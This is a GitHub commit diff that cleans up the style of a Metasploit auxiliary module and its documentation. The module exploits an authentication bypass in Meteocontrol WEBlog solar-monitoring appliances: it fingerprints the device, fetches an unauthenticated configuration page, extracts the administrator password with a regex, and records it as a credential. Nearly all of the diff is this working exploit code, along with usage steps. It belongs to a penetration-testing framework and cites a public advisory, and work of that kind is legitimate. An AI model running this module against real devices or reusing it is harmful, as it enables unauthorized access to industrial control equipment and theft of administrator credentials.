Skip to content

Commit 657c744

Browse files
committed
rubocop check & msftidy clean. Few updates.
1 parent dc33d41 commit 657c744

File tree

2 files changed

+27
-57
lines changed

2 files changed

+27
-57
lines changed

documentation/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.md

Lines changed: 1 addition & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ Note: In some versions, 'Website password' page is renamed or not present. There
44

55
## Verification Steps
66

7-
1. Do: ```auxiliary/scanner/http/meteocontrol_weblog_extractadmin```
7+
1. Do: ```use auxiliary/scanner/http/meteocontrol_weblog_extractadmin```
88
2. Do: ```set RHOSTS [IP]```
99
3. Do: ```set RPORT [PORT]```
1010
4. Do: ```run```
@@ -13,36 +13,6 @@ Note: In some versions, 'Website password' page is renamed or not present. There
1313

1414
```
1515
msf > use auxiliary/scanner/http/meteocontrol_weblog_extractadmin
16-
msf auxiliary(meteocontrol_weblog_extractadmin) > info
17-
18-
Name: MeteoControl WEBLog Password Extractor
19-
Module: auxiliary/scanner/http/meteocontrol_weblog_extractadmin
20-
License: Metasploit Framework License (BSD)
21-
Rank: Normal
22-
23-
Provided by:
24-
Karn Ganeshen <[email protected]>
25-
26-
Basic options:
27-
Name Current Setting Required Description
28-
---- --------------- -------- -----------
29-
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
30-
RHOSTS yes The target address range or CIDR identifier
31-
RPORT 8080 yes The target port
32-
SSL false no Negotiate SSL/TLS for outgoing connections
33-
THREADS 1 yes The number of concurrent threads
34-
VHOST no HTTP server virtual host
35-
36-
Description:
37-
This module exploits an authentication bypass vulnerability in
38-
Meteocontrol WEBLog (all models) to extract Administrator password
39-
for the device management portal.
40-
41-
References:
42-
https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01
43-
http://cvedetails.com/cve/2016-2296/
44-
http://cvedetails.com/cve/2016-2298/
45-
4616
msf auxiliary(meteocontrol_weblog_extractadmin) > set rhosts 1.2.3.4
4717
msf auxiliary(meteocontrol_weblog_extractadmin) > run
4818

modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb

Lines changed: 26 additions & 26 deletions
Original file line numberDiff line numberDiff line change
@@ -15,25 +15,25 @@ def initialize(info={})
1515
super(update_info(info,
1616
'Name' => 'Meteocontrol WEBlog Password Extractor',
1717
'Description' => %{
18-
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models) to extract Administrator password for the device management portal.
18+
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal.
1919
},
2020
'References' =>
2121
[
22-
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ],
23-
[ 'CVE', '2016-2296' ],
24-
[ 'CVE', '2016-2298' ]
22+
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'],
23+
['CVE', '2016-2296'],
24+
['CVE', '2016-2298']
2525
],
2626
'Author' =>
2727
[
28-
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
28+
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
2929
],
30-
'License' => MSF_LICENSE
31-
))
30+
'License' => MSF_LICENSE))
3231

3332
register_options(
34-
[
35-
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
36-
], self.class)
33+
[
34+
Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
35+
], self.class
36+
)
3737
end
3838

3939
def run_host(ip)
@@ -50,17 +50,17 @@ def run_host(ip)
5050

5151
def is_app_metweblog?
5252
begin
53-
res = send_request_cgi(
54-
{
55-
'uri' => '/html/en/index.html',
56-
'method' => 'GET'
53+
res = send_request_cgi({
54+
'uri' => '/html/en/index.html',
55+
'method' => 'GET'
5756
})
57+
5858
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
5959
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
6060
return false
6161
end
6262

63-
if (res and res.code == 200 and (res.headers['Server'] and res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
63+
if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?("IS2 Web Server") || res.body.include?("WEB'log")))
6464
print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
6565
return true
6666
else
@@ -77,27 +77,27 @@ def do_extract()
7777

7878
print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...")
7979
begin
80-
res = send_request_cgi(
81-
{
82-
'uri' => '/html/en/confAccessProt.html',
83-
'method' => 'GET'
80+
res = send_request_cgi({
81+
'uri' => '/html/en/confAccessProt.html',
82+
'method' => 'GET'
8483
})
8584

86-
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
85+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
8786
print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
8887
return
8988
end
9089

91-
if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
90+
if (res && res.code == 200 && (res.body.include?("szWebAdminPassword") || res.body=~ /Admin Monitoring/))
9291
get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
9392
admin_password = get_admin_password[1]
9493
print_good("#{rhost}:#{rport} - Password is #{admin_password}")
9594
report_cred(
96-
ip: rhost,
97-
port: rport,
98-
service_name: 'Meteocontrol WEBlog Management Portal',
99-
password: admin_password,
100-
proof: res.body)
95+
ip: rhost,
96+
port: rport,
97+
service_name: 'Meteocontrol WEBlog Management Portal',
98+
password: admin_password,
99+
proof: res.body
100+
)
101101
else
102102
# In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
103103
print_error("Password not found. Check login manually.")

0 commit comments

Comments
 (0)